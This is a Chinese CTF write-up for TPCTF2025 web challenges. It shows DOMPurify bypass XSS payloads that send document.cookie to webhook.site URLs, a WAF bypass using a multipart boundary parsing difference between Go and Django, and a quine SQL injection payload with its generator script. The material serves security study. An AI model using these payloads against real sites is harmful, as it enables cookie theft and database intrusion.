TPCTF2025部分wp

前言

清华北大办的比赛,质量不用质疑,Misc 的话手搓二维码的时候一直对不上,貌似是上下颠倒了,qrzybox原来还能自动补全,算是学到了,Web 的话就复现了下 xss 的,其他题看下 wp 再说吧,题目后打 * 的是复现

Web

baby layout

思路很清楚,可以写 content 和 layout ,然后bot访问指定 url 时会将 flag 注入到访问的的那个网页的 cookie 中,打 xss 带 cookie。可以看到代码中对 content 和 layout 的内容都是用 DOMPurify.sanitize() 来进行了个过滤,而且可以在配置文件中看到 dompurify 版本为 3.2.4,应该不是打 0day

我们这里重点看下 content 和 layout 的实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
app.post('/api/post', (req, res) => {
  const { content, layoutId } = req.body;
  if (typeof content !== 'string' || typeof layoutId !== 'number') {
    return res.status(400).send('Invalid params');
  }

  if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');

  const layout = req.session.layouts[layoutId];
  if (layout === undefined) return res.status(400).send('Layout not found');

  const sanitizedContent = DOMPurify.sanitize(content);
  // layout 中的 {{content}} 替换为 content 的值
  const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);

  if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');

  const id = randomBytes(16).toString('hex');
  posts.set(id, body);
  req.session.posts.push(id);

  console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);

  return res.json({ id });
});

app.post('/api/layout', (req, res) => {
  const { layout } = req.body;
  if (typeof layout !== 'string') return res.status(400).send('Invalid param');
  if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');

  const sanitizedLayout = DOMPurify.sanitize(layout);

  const id = req.session.layouts.length;
  req.session.layouts.push(sanitizedLayout);
  return res.json({ id });
});

可以看到在 content 的实现中是先检测再替换,也就是说我们可以将 payload 分为两段,一段写入 layout ,并将会被过滤的部分替换为 {{content}},第二段写入 content,值就为会被过滤的部分,这样的话 content 和 layout 都可以绕过 DOMPurify.sanitize() 的检测,而且也会将 content 的值拼入 layout 中,形成最后的恶意 payload。而之所以 content 的值不会被过滤,应该是没有形成一个完整的 html ,没被检测到,可以在官方的github 上找到个 demo 来测试一下:DOMPurify 3.2.4 “Shipwreck”

image-20250308193105525

image-20250308193135429

可以看到第二次就被过滤了而第一次却没有被过滤,弹个窗先

layout 为

1
<audio src={{content}}>

content 为

1
"a" onloadstart="alert(1)"

create post 就弹窗了

image-20250308193538228

源码也可以看到是成功插入了的

image-20250308193839895

带下 cookie

1
"a" onloadstart="fetch('https://webhook.site/98df9897-f596-4e4b-9994-3ee26ff59249?f=' + document.cookie)"

image-20250308194217163

后面两道加强题都可以参考:https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations#dangerous-allow-lists

safe layout*

加强了过滤

image-20250309201717396

ALLOWED_ATTR 置为空,也就是不能引用属性,但跟进后会发现还可以用 ALLOW_DATA_ATTRALLOW_ARIA_ATTR

image-20250311133736480

也就是说我们依然可以用自定义的 data,后接恶意代码即可

layout

1
<audio data-a={{content}}>

content

1
a" src="a" onloadstart="fetch('https://webhook.site/0f676d3e-7a72-4491-af58-7419e600dabf?f=' + document.cookie)"

必须有 src 属性,不然会报错

image-20250311193529235

safe layout revenge*

这道就修复了上面的非预期,把 ALLOW_ARIA_ATTRALLOW_DATA_ATTR 都设为了 false

出题人的wp 中看到dompurify非常严格,<style>中的任何HTML标签都将被过滤。但是,正则表达式仅检查 /<[/\ w]/ ,因此不会过滤 <{{content}} ,可以用其来绕过恶意的标签

但不能直接写在 style 标签里,因为 style 标签中的会被当作 css 解析,所以把 {{content}} 包裹在 style 便签里即可,第一个 {{content}} 是用来闭合第一个 style 标签的,而前面的 a 的话是开一个新的节点,干扰html解析规则啥的,没太懂,但是不加就会解析失败

layout

1
a<style>{{content}}<{{content}}</style>

content

1
img src="a" onerror=fetch(`https://webhook.site/0f676d3e-7a72-4491-af58-7419e600dabf?f=`+document.cookie) <style></style>

supersqli

manage.py 加个参数启动服务器,方便调试

1
2
    if len(sys.argv) == 1:
        sys.argv.append("runserver")

supersqli\web_deploy\src\blog\views.py 文件中的 flag 函数中我们可以发现存在 sql 注入

image-20250310174204987

但是 supersqli\web_deploy\simplewaf\main.go 中的 waf 限制的很死

1
2
3
4
5
var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)

var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)

var hotfixPattern = regexp.MustCompile(`(?i)(select)`)

注意到在 go 中加了个判断,判断 mediaType 是否为 multipart/form-data

image-20250310210644382

找到一篇有关利用 multipart/form-data 解析差异实现绕过的文章:https://sym01.com/posts/2021/bypass-waf-via-boundary-confusion/

但文章中用的是 flask 框架,貌似在这里的 Django 中行不通,看下 Django 框架中对 multipart/form-data 处理,跟进到 multipartparser.py 中可以发现 Django 是通过请求头中的 Content-Disposition 字段来区分每个字段

image-20250310211645892

而在 go 中的 request.go 的 multipartReader 函数中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
func (r *Request) multipartReader(allowMixed bool) (*multipart.Reader, error) {
	v := r.Header.Get("Content-Type")
	if v == "" {
		return nil, ErrNotMultipart
	}
	if r.Body == nil {
		return nil, errors.New("missing form body")
	}
	d, params, err := mime.ParseMediaType(v)
	if err != nil || !(d == "multipart/form-data" || allowMixed && d == "multipart/mixed") {
		return nil, ErrNotMultipart
	}
	boundary, ok := params["boundary"]
	if !ok {
		return nil, ErrMissingBoundary
	}
	return multipart.NewReader(r.Body, boundary), nil
}

可以看到这里是用 boundary 的值来分隔 multipart 请求中的各个部分,截止符的话当然就是 boundary 的值加上 --

经过上面的分析我们发现 go 和 Django 中用来区分不同字段的方法是不一样的,可以利用这个解析差异来绕过 waf ,请求是先经过 go 处理再经过 Django 的,我们可以先用 --boundary-- 来截止,然后再传 password 的值。当请求体为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Content-Type: multipart/form-data; boundary=----xxx
Content-Length: 137

------xxx
Content-Disposition: form-data; name="username"

admin
------xxx--
Content-Disposition: form-data; name="password";

111

go 只会解析 ------xxx-- 前的值,也就是返回

1
2
请求的 POST 参数:
username = admin

而 Django 则会返回两个参数的值

1
2
3
请求的 POST 参数:
username = admin
password = 111

后面 sql 注入的话是打 sqlite,盲注不知道为啥打不了,然后发现能打 quine 注入,这里只判断了传入的 password 是否相同,确实也比较符合其利用场景,用文章中的脚本构造下 payload:https://blog.csdn.net/qq_35782055/article/details/130348274,稍微改下,没过滤空格,不用 repalce 为 /**/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
sql = input ("输入你的sql语句,不用写关键查询的信息  形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
    if ("--+" in string):
        tem = string.split("--+")[0] + base + "--+"
    if ("#" in string):
        tem = string.split("#")[0] + base + "#"
    return tem
def patch(string,sql):
    if ("--+" in string):
        return sql.split("--+")[0] + string + "--+"
    if ("#" in string):
        return sql.split("#")[0] + string + "#"

res = patch(base.replace(".",add(sql2)),sql).replace("'.'",'"."')

print(res)

最后经尝试发现是两列,因此传入 1' union select 1,2,--+ ,得到 payload

1
1' union select 1,2,replace(replace('1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--+',char(34),char(39)),char(46),'1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--+')--+

image-20250310222255991

0%